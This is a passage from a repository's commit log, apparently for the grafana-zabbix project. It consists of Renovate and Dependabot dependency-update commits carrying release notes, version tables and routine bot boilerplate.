<summary>feat: ESLint-plugin -- Distinguish between Forbidden,
Misspelled, and Unknown words. (<a
href="https://redirect.github.com/streetsidesoftware/cspell/pull/8337">#&#8203;8337</a>)</summary>

##### feat: ESLint-plugin -- Distinguish between Forbidden, Misspelled,
and Unknown words.
([#&#8203;8337](https://redirect.github.com/streetsidesoftware/cspell/pull/8337))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:21:42 +00:00
renovate-sh-app[bot]
97aeabed61 chore(deps): update dependency mini-css-extract-plugin to v2.10.0 (#2222)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[mini-css-extract-plugin](https://redirect.github.com/webpack/mini-css-extract-plugin)
| [`2.9.4` →
`2.10.0`](https://renovatebot.com/diffs/npm/mini-css-extract-plugin/2.9.4/2.10.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/mini-css-extract-plugin/2.10.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mini-css-extract-plugin/2.9.4/2.10.0?slim=true)
|

---

### Release Notes

<details>
<summary>webpack/mini-css-extract-plugin
(mini-css-extract-plugin)</summary>

###
[`v2.10.0`](https://redirect.github.com/webpack/mini-css-extract-plugin/blob/HEAD/CHANGELOG.md#2100-2026-01-16)

[Compare
Source](https://redirect.github.com/webpack/mini-css-extract-plugin/compare/v2.9.4...v2.10.0)

##### Features

- respect `output.cssFilename` and `output.cssChunkFilename`
([#&#8203;1151](https://redirect.github.com/webpack/mini-css-extract-plugin/issues/1151))
([54f775d](54f775ddac))

##### Bug Fixes

- prevent generation of a contentHash for a chunk when the set of css
modules is of size 0
([#&#8203;1154](https://redirect.github.com/webpack/mini-css-extract-plugin/issues/1154))
([4e4a95d](4e4a95d164))

#####
[2.9.4](https://redirect.github.com/webpack-contrib/mini-css-extract-plugin/compare/v2.9.3...v2.9.4)
(2025-08-11)

##### Bug Fixes

- hmr crash in some situations
([#&#8203;1140](https://redirect.github.com/webpack-contrib/mini-css-extract-plugin/issues/1140))
([f67c05a](f67c05a230))

#####
[2.9.3](https://redirect.github.com/webpack-contrib/mini-css-extract-plugin/compare/v2.9.2...v2.9.3)
(2025-08-04)

##### Bug Fixes

- should update initial chunks correctly with filename
([dab023f](dab023f4a7))

#####
[2.9.2](https://redirect.github.com/webpack-contrib/mini-css-extract-plugin/compare/v2.9.1...v2.9.2)
(2024-11-01)

##### Bug Fixes

- prefetch and preload runtime generation
([#&#8203;1116](https://redirect.github.com/webpack-contrib/mini-css-extract-plugin/issues/1116))
([58c6b74](58c6b7422a))

#####
[2.9.1](https://redirect.github.com/webpack-contrib/mini-css-extract-plugin/compare/v2.9.0...v2.9.1)
(2024-08-19)

##### Bug Fixes

- add `export default {}` when CSS modules enabled and a file is empty
for the `defaultExport` option
([8f77e19](8f77e19a89))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:21:21 +00:00
renovate-sh-app[bot]
eecde20d39 chore(deps): update dependency prettier to v3.8.0 (#2223)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://redirect.github.com/prettier/prettier)) | [`3.7.4` →
`3.8.0`](https://renovatebot.com/diffs/npm/prettier/3.7.4/3.8.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.8.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.7.4/3.8.0?slim=true)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.8.0`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#380)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.7.4...3.8.0)


[diff](https://redirect.github.com/prettier/prettier/compare/3.7.4...3.8.0)

🔗 [Release Notes](https://prettier.io/blog/2026/01/14/3.8.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:20:57 +00:00
renovate-sh-app[bot]
56a06171ec chore(deps): update dependency @types/node to v25.0.9 (#2196)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`25.0.5` →
`25.0.9`](https://renovatebot.com/diffs/npm/@types%2fnode/25.0.5/25.0.9)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/25.0.9?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/25.0.5/25.0.9?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: yesoreyeram <153843+yesoreyeram@users.noreply.github.com>
2026-01-19 23:30:35 +00:00
renovate-sh-app[bot]
0a1121ed73 chore(deps): update dependency @types/lodash to v4.17.23 (#2195)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/lodash](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/lodash)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/lodash))
| [`4.17.22` →
`4.17.23`](https://renovatebot.com/diffs/npm/@types%2flodash/4.17.22/4.17.23)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2flodash/4.17.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2flodash/4.17.22/4.17.23?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-19 23:22:50 +00:00
dependabot[bot]
fb80f4cc4c Chore(deps): Bump tar from 7.5.2 to 7.5.3 (#2212)
Bumps [tar](https://github.com/isaacs/node-tar) from 7.5.2 to 7.5.3.
<details>
<summary>Commits</summary>
<ul>
<li><a
href="03138441b2"><code>0313844</code></a>
7.5.3</li>
<li><a
href="340eb285b6"><code>340eb28</code></a>
fix: sanitize absolute linkpaths properly</li>
<li><a
href="8bb83f7e51"><code>8bb83f7</code></a>
update deps</li>
<li><a
href="1c4aedd28a"><code>1c4aedd</code></a>
Fix typo in onWriteEntry documentation</li>
<li>See full diff in <a
href="https://github.com/isaacs/node-tar/compare/v7.5.2...v7.5.3">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=tar&package-manager=npm_and_yarn&previous-version=7.5.2&new-version=7.5.3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/grafana/grafana-zabbix/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-01-19 23:19:47 +00:00
renovate-sh-app[bot]
ffe5c44960 chore(deps): update dependency @types/node to v25.0.5 (#2189)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`25.0.3` →
`25.0.5`](https://renovatebot.com/diffs/npm/@types%2fnode/25.0.3/25.0.5)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/25.0.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/25.0.3/25.0.5?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-13 12:52:17 +01:00
renovate-sh-app[bot]
c1dec23e3c chore(deps): update dependency @types/lodash to v4.17.22 (#2193)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/lodash](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/lodash)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/lodash))
| [`4.17.21` →
`4.17.22`](https://renovatebot.com/diffs/npm/@types%2flodash/4.17.21/4.17.22)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2flodash/4.17.22?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2flodash/4.17.21/4.17.22?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-13 10:53:08 +01:00
renovate-sh-app[bot]
7eb80d3f23 chore(deps): update dependency eslint-plugin-jsdoc to v62 (#2188)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`61.5.0` →
`62.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/61.5.0/62.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/62.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/61.5.0/62.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v62.0.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v62.0.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v61.7.1...v62.0.0)

##### Features

- update jsdoccomment, allowing for
`skipInvokedExpressionsForCommentFinding` setting; fixes
[#&#8203;1624](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1624)
([9c0e4a3](9c0e4a32c6))

##### BREAKING CHANGES

- Require Node ^20.19.0 || ^22.13.0 || >=24

###
[`v61.7.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v61.7.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v61.5.0...v61.7.1)

##### Bug Fixes

- **`github`:** `npm` release
([#&#8203;1623](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1623))
([fe29ef9](fe29ef98bc))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1ham9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-12 12:59:16 +01:00
renovate-sh-app[bot]
0316e42c8b chore(deps): pin dependencies (#2173)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[@testing-library/dom](https://redirect.github.com/testing-library/dom-testing-library)
| devDependencies | pin | [`^10.4.1` →
`10.4.1`](https://renovatebot.com/diffs/npm/@testing-library%2fdom/10.4.1/10.4.1)
|
| alpine |  | pinDigest |  → `865b95f` |
| grafana/grafana-enterprise | final | pinDigest |  → `703b4a3` |
| postgres |  | pinDigest |  → `056b54f` |
| postgres |  | pinDigest |  → `a7711af` |
| postgres |  | pinDigest |  → `5fd97d3` |
| python | final | pinDigest |  → `cfa6231` |
| python | final | pinDigest |  → `0c5171f` |
| python | final | pinDigest |  → `411fa4d` |
| python | final | pinDigest |  → `6d58c1a` |
| redis |  | pinDigest |  → `6cbef35` |
| zabbix/zabbix-agent |  | pinDigest |  → `2a5989f` |
| zabbix/zabbix-agent |  | pinDigest |  → `0bb96e2` |
| zabbix/zabbix-agent |  | pinDigest |  → `71f1f22` |
| zabbix/zabbix-agent |  | pinDigest |  → `9eab77e` |
| zabbix/zabbix-agent |  | pinDigest |  → `c34ca68` |
| zabbix/zabbix-proxy-sqlite3 |  | pinDigest |  → `a963b30` |
| zabbix/zabbix-server-pgsql |  | pinDigest |  → `a6f748d` |
| zabbix/zabbix-server-pgsql |  | pinDigest |  → `5c1aece` |
| zabbix/zabbix-server-pgsql |  | pinDigest |  → `b3c1451` |
| zabbix/zabbix-server-pgsql |  | pinDigest |  → `dbc5a2a` |
| zabbix/zabbix-server-pgsql |  | pinDigest |  → `b88c636` |
| zabbix/zabbix-web-apache-pgsql |  | pinDigest |  → `9b5ad53` |
| zabbix/zabbix-web-apache-pgsql |  | pinDigest |  → `70a301e` |
| zabbix/zabbix-web-nginx-pgsql |  | pinDigest |  → `08b2b13` |
| zabbix/zabbix-web-nginx-pgsql |  | pinDigest |  → `e034dd9` |
| zabbix/zabbix-web-nginx-pgsql |  | pinDigest |  → `90d9d85` |

Add the preset `:preserveSemverRanges` to your config if you don't want
to pin your dependencies.

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZG9ja2VyIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: Jocelyn Collado-Kuri <jcolladokuri@icloud.com>
2026-01-09 10:47:29 +01:00
renovate-sh-app[bot]
f3fa2522e7 chore(deps): update dependency @types/react-dom to v18.3.7 (#2174)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom))
| [`18.3.1` →
`18.3.7`](https://renovatebot.com/diffs/npm/@types%2freact-dom/18.3.1/18.3.7)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/18.3.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/18.3.1/18.3.7?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-08 13:38:40 -08:00
ismail simsek
1bb5e8a5dd chore: bump @grafana/create-plugin configuration to 6.7.1 (#2167)
Co-authored-by: Zoltán Bedi <zoltan.bedi@gmail.com>
2026-01-08 15:56:29 +01:00
ismail simsek
da27b9a917 chore(deps): update various dependencies (#2166)
yarn 4.9.4 -> 4.12.0
glob 11.1.0 -> 13.0.0
js-yaml 4.1.0 -> 4.1.1
2026-01-08 14:37:37 +01:00
renovate-sh-app[bot]
76c7603a4c chore(deps): update dependency cspell to v6.31.3 (#2165)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [cspell](https://cspell.org/)
([source](https://redirect.github.com/streetsidesoftware/cspell/tree/HEAD/packages/cspell))
| [`6.13.3` →
`6.31.3`](https://renovatebot.com/diffs/npm/cspell/6.13.3/6.31.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/cspell/6.31.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/cspell/6.13.3/6.31.3?slim=true)
|

---

### Release Notes

<details>
<summary>streetsidesoftware/cspell (cspell)</summary>

###
[`v6.31.3`](https://redirect.github.com/streetsidesoftware/cspell/releases/tag/v6.31.3)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.31.2...v6.31.3)

#### What's Changed

- fix: Fix dynamic loader on Windows by
[@&#8203;Jason3S](https://redirect.github.com/Jason3S) in
[#&#8203;4707](https://redirect.github.com/streetsidesoftware/cspell/pull/4707)

**Full Changelog**:
<https://github.com/streetsidesoftware/cspell/compare/v6.31.2...v6.31.3>

###
[`v6.31.2`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6312-2023-04-14)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.31.1...v6.31.2)

**Note:** Version bump only for package cspell

###
[`v6.31.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6311-2023-03-24)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.31.0...v6.31.1)

**Note:** Version bump only for package cspell

###
[`v6.31.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6310-2023-03-24)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.30.2...v6.31.0)

**Note:** Version bump only for package cspell

#### 6.30.2 (2023-03-18)

##### Bug Fixes

- lock cosmiconfig to 8.0.0
([#&#8203;4335](https://redirect.github.com/streetsidesoftware/cspell/issues/4335))
([0f37e2c](0f37e2cfa4))

#### 6.30.1 (2023-03-17)

##### Bug Fixes

- Update cosmiconfig to fix config loading issue.
([#&#8203;4330](https://redirect.github.com/streetsidesoftware/cspell/issues/4330))
([4a0bae5](4a0bae5307))

###
[`v6.30.2`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6302-2023-03-18)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.30.1...v6.30.2)

##### Bug Fixes

- lock cosmiconfig to 8.0.0
([#&#8203;4335](https://redirect.github.com/streetsidesoftware/cspell/issues/4335))
([0f37e2c](0f37e2cfa4))

###
[`v6.30.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6301-2023-03-17)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.30.0...v6.30.1)

##### Bug Fixes

- Update cosmiconfig to fix config loading issue.
([#&#8203;4330](https://redirect.github.com/streetsidesoftware/cspell/issues/4330))
([4a0bae5](4a0bae5307))

###
[`v6.30.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6300-2023-03-16)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.29.3...v6.30.0)

**Note:** Version bump only for package cspell

#### 6.29.3 (2023-03-14)

##### Bug Fixes

- Add option to not auto stem during split
([#&#8203;4310](https://redirect.github.com/streetsidesoftware/cspell/issues/4310))
([23059da](23059dafd9))

#### 6.29.2 (2023-03-13)

##### Bug Fixes

- (cspell-tools) Delay splitting \_ till later
([#&#8203;4309](https://redirect.github.com/streetsidesoftware/cspell/issues/4309))
([0e517d1](0e517d13a6))

#### 6.29.1 (2023-03-13)

**Note:** Version bump only for package cspell

###
[`v6.29.3`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6293-2023-03-14)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.29.2...v6.29.3)

##### Bug Fixes

- Add option to not auto stem during split
([#&#8203;4310](https://redirect.github.com/streetsidesoftware/cspell/issues/4310))
([23059da](23059dafd9))

###
[`v6.29.2`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6292-2023-03-13)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.29.1...v6.29.2)

##### Bug Fixes

- (cspell-tools) Delay splitting \_ till later
